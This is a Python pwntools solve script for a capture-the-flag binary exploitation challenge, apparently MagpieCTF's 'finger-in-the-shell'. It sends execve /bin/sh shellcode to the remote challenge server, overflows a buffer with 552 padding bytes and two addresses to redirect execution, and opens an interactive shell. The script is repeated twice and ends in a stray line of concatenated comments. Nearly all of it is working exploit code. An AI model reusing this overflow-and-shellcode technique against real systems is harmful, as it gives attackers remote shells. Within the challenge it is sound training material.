<filename>challenges/binary-exploitation/finger-in-the-shell/solve/exploit.py
from pathlib import Path
from pwn import *

e = ELF("pwn")
prc = remote("bin.magpiectf.ca", 6000)
#prc = process("./pwn")

padding = b"U" * 552                                    # 552 pad bytes
buffer_address = p64(e.symbols["log"])                  # 8 byte address of log buffer
fun_address = p64(e.symbols["FUN_100318876"])           # 8 byte address of fun func

shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x49" \
        b"\xbf\x2f\x2f\x62\x69\x6e\x2f\x73" \
        b"\x68\x41\x57\x54\x5f\xb0\x3b\x0f" \
        b"\x05"                                         # 25 byte shellcode

payload_1 = shellcode 
payload_2 = padding + fun_address + buffer_address

prc.sendline(payload_1)
prc.sendline(payload_2)

prc.interactive()

<filename>challenges/binary-exploitation/finger-in-the-shell/solve/exploit.py
from pathlib import Path
from pwn import *

e = ELF("pwn")
prc = remote("bin.magpiectf.ca", 6000)
#prc = process("./pwn")

padding = b"U" * 552                                    # 552 pad bytes
buffer_address = p64(e.symbols["log"])                  # 8 byte address of log buffer
fun_address = p64(e.symbols["FUN_100318876"])           # 8 byte address of fun func

shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x49" \
        b"\xbf\x2f\x2f\x62\x69\x6e\x2f\x73" \
        b"\x68\x41\x57\x54\x5f\xb0\x3b\x0f" \
        b"\x05"                                         # 25 byte shellcode

payload_1 = shellcode 
payload_2 = padding + fun_address + buffer_address

prc.sendline(payload_1)
prc.sendline(payload_2)

prc.interactive()

#prc = process("./pwn") # 552 pad bytes # 8 byte address of log buffer # 8 byte address of fun func # 25 byte shellcode